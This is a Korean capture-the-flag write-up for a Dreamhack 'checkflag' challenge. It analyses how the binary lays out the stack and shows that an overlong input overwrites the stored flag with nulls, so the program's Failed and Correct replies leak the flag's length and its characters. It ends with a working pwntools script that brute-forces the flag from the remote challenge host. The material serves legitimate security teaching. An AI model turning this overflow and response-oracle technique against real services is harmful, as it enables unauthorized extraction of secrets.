



스택에서 rsp부터 0xc8만큼 0으로 초기화한다. 현 시점에서 rsp, rdi, rbx는 모두 동일하다.


flag 파일을 읽기 모드로 오픈한 후, rbp(rbx+0x40)에 파일 내용을 0x40만큼 저장한다. 참고로 rbx+0x40은 rsp+0x40과 동일하다. 이후 파일을 다시 닫는다.


"What's the flag? " 문자열을 출력한 후 표준 입력을 받는다. 스택의 rbx(rsp)부터 최대 0xc8까지 입력 데이터가 저장된다.


플래그의 길이를 계산해 rax에 저장한 후, 입력 데이터의 길이 rdx보다 큰지 확인한다. 만약 플래그의 길이가 입력 데이터의 길이보다 크다면 "Failed!\n"을 출력한 후 종료한다.

만약 플래그의 길이가 입력 데이터의 길이보다 작거나 같다면, 두 데이터가 동일한지 비교한다. 만약 동일하다면 "Correct!\n" 문자열을, 그렇지 않다면 "Wrong!\n" 문자열을 출력한 후 종료한다.

바이너리의 실행 흐름에 따르면, 스택은 위와 같이 구성된다. 플래그의 최대 길이는 0x3f인데, 길이 1 DH{}를 제외한 길이 0x3b까지 문자 0x20~0x7f의 조합을 브루트포싱하기에는 매우 오랜 시간이 걸린다.
왜 플래그의 최대 길이가 0x40이 아닌 0x3f인가요?
null을 제외한플래그의 길이가0x40이라면,입력 데이터의 길이도 마찬가지로 null을 제외하여0x40이어야 한다. 하지만 위 스택 구성 그림에서 볼 수 있듯이,입력 데이터의 길이가0x40이라면, 플래그와의strcmp()는 무조건 실패한다. 따라서 (null을 제외한)플래그의 길이는 최대0x3f가 되어야 한다.

먼저 플래그의 길이를 파악하는 것부터 시작한다. 위 스택 그림과 같이, 입력 데이터를 <특정 길이의 데이터>+<null padding>+<특정 길이의 데이터>로 구성하여 입력한다. 아래 첫, 두 번째 스택의 경우 "Correct!\n"을 출력하지만, 세 번째 스택의 경우 "Failed!\n"을 출력한다. 따라서 "Failed!\n"가 출력될 때까지 <특정 길이의 데이터>의 길이를 1씩 줄여나간다. 만약 "Failed!\n"가 출력되었다면, 그때의 <특정 길이의 데이터>의 길이 + 1이 곧 플래그의 길이가 된다.

플래그의 길이를 구했다면, <특정 길의의 데이터>+<임의 문자>+<찾아진 문자열>+"}"+<null padding>+<특정 길이의 데이터>의 형태로 입력해 플래그를 거꾸로 찾는다. 만약 <임의 문자>가 플래그의 해당 위치의 문자와 동일하다면, <임의 문자>를 <찾아진 문자열>에 합친 후 다음 문자를 찾는다. 또한 <특정 길이의 데이터>는 1씩 줄여간다.
from pwn import *
#Find flag length
flag_len = 0
for length in range(0x3f, 0, -1):
test_payload = b'A' * length
payload = test_payload + b'\x00' * (0x40 - len(test_payload)) + test_payload
#p = process('./checkflag')
p = remote('host3.dreamhack.games', 20489)
p.sendafter(b'flag?', payload)
if ord('F') in p.recvuntil(b'!\n'):
print('length:', length + 1)
flag_len = length + 1
p.close()
break
p.close()
#Bruteforcing length 16 - 4(DH{})
found_flag = b''
for i in range(flag_len - 4):
for c in range(0x20, 0x7f):
test_payload = b'A' * (flag_len - 2 - i) + chr(c).encode() + found_flag + b'}'
payload = test_payload + b'\x00' * (0x40 - len(test_payload)) + b'A' * (flag_len - 2 - i)
#p = process('./checkflag')
p = remote('host3.dreamhack.games', 20489)
p.sendafter(b'flag?', payload)
if ord('C') in p.recvuntil(b'!\n'):
print(f'flag[{flag_len - 2 - i}] = {chr(c)}')
found_flag = chr(c).encode() + found_flag
p.close()
break
p.close()
print('DH{' + found_flag.decode() + '}')